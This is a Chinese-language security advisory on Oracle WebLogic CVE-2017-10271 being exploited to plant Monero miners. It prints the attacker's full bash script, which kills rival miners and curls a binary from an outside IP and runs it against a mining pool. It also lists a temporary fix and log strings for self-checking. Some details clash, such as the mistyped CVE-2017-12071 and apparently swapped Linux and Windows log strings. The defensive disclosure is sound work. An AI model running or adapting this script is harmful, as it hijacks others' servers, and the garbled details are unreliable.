漏洞描述
黑客利用WebLogic 反序列化漏洞（CVE-2017-3248）和WebLogic WLS 组件漏洞（CVE-2017-10271）对企业服务器发起大范围远程攻击，有大量企业的服务器被攻陷，且被攻击企业数量呈现明显上升趋势，需要引起高度重视。其中，CVE-2017-12071是一个最新的利用Oracle WebLogic中WLS 组件的远程代码执行漏洞，属于没有公开细节的野外利用漏洞，大量企业尚未及时安装补丁。官方在 2017 年 10 月份发布了该漏洞的补丁。
该漏洞的利用方法较为简单，攻击者只需要发送精心构造的 HTTP 请求，就可以拿到目标服务器的权限，危害巨大。由于漏洞较新，目前仍然存在很多主机尚未更新相关补丁。预计在此次突发事件之后，很可能出现攻击事件数量激增，大量新主机被攻陷的情况。
攻击者能够同时攻击Windows及Linux主机，并在目标中长期潜伏。由于Oracle WebLogic的使用面较为广泛，攻击面涉及各个行业。此次攻击中使用的木马为典型的比特币挖矿木马。但该漏洞可被黑客用于其它目的攻击。
Oracle官方描述
攻击者的挖矿攻击脚本
#!/bin/bash
function kills() {
rm -rf /tmp/index_bak
rm -rf /tmp/httpd.conf
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
pkill -9 AnXqV.yam
ps auxf|grep -v grep|grep “mine.moneropool.com”|awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “xmr.crypto-pool.fr:8080”|awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “xmr.crypto-pool.fr:3333”|awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep "zhuabcn@yahoo.com"|awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “monerohash.com”|awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “/tmp/a7b104c270”|awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “xmr.crypto-pool.fr:6666”|awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “xmr.crypto-pool.fr:7777”|awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “xmr.crypto-pool.fr:443”|awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “42HrCwmHSVyJSAQwn6Lifc3WWAWN56U8s2qAbm6BAagW6Ryh8JgWq8Q1JbZ8nXdcFVgnmAM3q86cm5y9xfmvV1ap6qVvmPe”|awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQt989KEfGRt6Ww2Xg8”|awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “46SDR76rJ2J6MtmP3ZZKi9cEA5RQCrYgag7La3CxEootQeAQULPE2CHJQ4MRZ5wZ1T73Kw6Kx4Lai2dFLAacjerbPzb5Ufg”|awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “stratum.f2pool.com:8888”|awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “xmrpool.eu” | awk ‘{print $2}’|xargs kill -9
}
function downloadyam() {
cd /tmp/
if [ ! -f “Carbon” ];then
curl http://45.123.190.178/Carbon > Carbon && chmod +x Carbon
./Carbon -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:80 -u 42HrCwmHSVyJSAQwn6Lifc3WWAWN56U8s2qAbm6BAagW6Ryh8JgWq8Q1JbZ8nXdcFVgnmAM3q86cm5y9xfmvV1ap6qVvmPe -p x -R 1 &>>/dev/null &
else
./Carbon -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:80 -u 42HrCwmHSVyJSAQwn6Lifc3WWAWN56U8s2qAbm6BAagW6Ryh8JgWq8Q1JbZ8nXdcFVgnmAM3q86cm5y9xfmvV1ap6qVvmPe -p x -R 1 &>>/dev/null &
fi
}
kills
p=$(ps aux | grep Carbon | grep -v grep | wc -l)
if [ ${p} -eq 1 ];then
echo "officeing"
elif [ ${p} -eq 0 ];then
downloadyam
else
echo ""
fi
漏洞编号
CVE-2017-10271
影响版本
Oracle Weblogic Server 10.3.6.0
Oracle Weblogic Server 12.2.1.2
Oracle Weblogic Server 12.2.1.1
Oracle Weblogic Server 12.1.3.0
临时解决方案
根据实际环境路径，删除WebLogic程序下列war包及目录。
rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
重启WebLogic或系统后，确认以下链接访问是否为404
http://x.x.x.x:7001/wls-wsat
漏洞自查
对于 Linux 主机，检查日志中是否出现以下字符串：
java.io.IOException: Cannot run program"cmd.exe": java.io.IOException: error=2, No such file or directory
对于 Windows 主机，检查日志中是否出现以下字符串：
java.io.IOException: Cannot run program “/bin/bash":java.io.IOException: error=2, No such file or directory
若出现，则说明系统已被入侵。
漏洞补丁
http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
参考
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-10271
http://suo.im/I3NjS
http://suo.im/19DoNp
